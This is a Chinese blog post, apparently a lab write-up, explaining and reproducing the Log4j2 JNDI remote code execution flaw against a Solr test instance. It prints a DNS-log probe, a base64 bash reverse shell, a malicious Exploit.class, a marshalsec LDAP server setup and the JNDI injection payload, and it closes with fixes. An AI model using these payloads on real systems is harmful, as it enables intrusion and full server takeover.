Java框架安全篇--log4j2远程代码执行漏洞
初识log4j2:
Apache Log4j 2 (Log4j – Apache Log4j 2)是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并参考了Logback中优秀的设计,同时修复了Logback架构中的一些问题。被誉为是目前最优秀的Java日志框架;企业中通常使用SLF4j门面+Log4j2来记录日志。
特点:
异常处理:在logback中,Appender中的异常不会被应用感知到,但是在log4j2中,提供了一些异常处理机制。
性能提升:log4j2 相较于log4j 和 logback 都具有明显的性能提升,有18倍性能提升,后面会有官方测试的数据。
自动重载配置: 参考了logback的设计,当然会提供自动刷新参数配置,最实用的就是我们在生产上可以动态的修改日志的级别而不需要重启应用。
无垃圾机制: log4j2 在大部分情况下,都可以使用其设计的一套无垃圾机制【对象重用、内存缓冲】,避免频繁的日志收集导致的 jvm gc。
详细可参考:
Log4j2 中文文档 - 欢迎使用 Log4j 2! | Docs4dev
log4j2远程代码执行漏洞(CVE-2021-44228):
简介:
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
原理:
漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现解析漏洞,例如${java:version}会被替换为对应的java版本,攻击者就可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,攻击者使用
${}
关键标识符触发 JNDI 注入漏洞,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行。
JNDI服务:
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很 多目录接口,用于不同的数据源的查找引用。
ldap服务:
LDAP(轻型目录访问协议)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问 控制和维护分布式信息的目录信息。
影响版本:
2.0 <= Apache log4j2 <= 2.14.1
POC:
http://192.168.85.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.k4wo0l.dnslog.cn}
漏洞复现以及利用:
打开环境进行dnslog外带漏洞测试,发现有回显,还外带了Java版本为1.8,这为后续的漏洞利用提供了重要的信息
http://192.168.85.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.k4wo0l.dnslog.cn}
那么知道了java版本,是不是就可以使用 LDAP服务进行反弹shell利用呢,我们测试一下 过程跟上篇的fastjson差不多 上个是利用了RMI服务,我们这次使用LDAP服务,
首先还是一样 写个反弹shell进行base64编码,这个关于反弹shell进行base64编码 直接看
反弹shell的方法总结(base64绕过等等)_curl反弹shell-CSDN博客
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg1LjEzNi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
这里注意一点就是修改ip为你的攻击机 IP,然后还是常规思路,把它写入 Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg1LjEzNi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后使用 javac 进行编译 注意:这里java环境都为1.8
javac Exploit.java
编译好了之后把Exploit.class 放到任意目录下 然后开启http服务
python -m http.server 4444
访问的话就能直接看到class文件就可以
然后我们就是要用这个marshalsec-0.0.3-SNAPSHOT.jar工具建立LDAP服务。需要maven环境编译
工具下载:
http://git clone https://github.com/mbechler/marshalsec
具体怎么用看我上篇文章
https://blog.csdn.net/m0_63138919/article/details/137119391?spm=1001.2014.3001.5501
我们直接启动监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.85.136:4444/Desktop/log4j2/#Exploit" 1389
端口任意
然后我们我们使用nc开启监听 监听的端口为你刚开始写入Exploit.java的端口
nc -lvvp 7777
然后我们JNDI注入 注意路径
JNDI
注入简单来说就是在
JNDI
接口在初始化时,如:
InitialContext.lookup(URI)
,如果URI可控,那么客户端就可能会被攻击。
/solr/admin/cores?action=${jndi:ldap://192.168.85.136:1389/Desktop/log4j2/Exploit}
此时LDAP服务和HTTP服务也监听到了 目标网址请求了我们的恶意代码Exploit.class
攻击机成功监听 并为root权限 漏洞利用成功
当然也可使用JNDI注入工具 直接进行获取权限
https://github.com/welk1n/JNDI-Injection-Exploit
具体怎么用 里面讲的很清楚
代码审计:
log4j2源码下载:
GitHub - jiaboyan/log4j2CodeSources: log4j2源码
本次漏洞是因为Log4j2组件中 lookup功能的实现类JndiLookup的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。 简单来说就是因为输入的字符串没有添加限制,只要是符合${形式就可以。
从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228漏洞 - 知乎 (zhihu.com)
修复:
1.升级Apache Log4j2所有相关应用到最新版。
高版本控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。但是高版本利用即让Ldap实例化一个本地存在的javaFacotry,并用该javaFactory实例化一个本地存在的类。因此我们需要找到本地哪些javaFactory存在一些可以被利用的漏洞。
2.过滤相关的关键词,比如${jndi://*}
3.官方最新的修复
https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea
版权归原作者 W3nd4L0v3 所有, 如有侵权,请联系我们删除。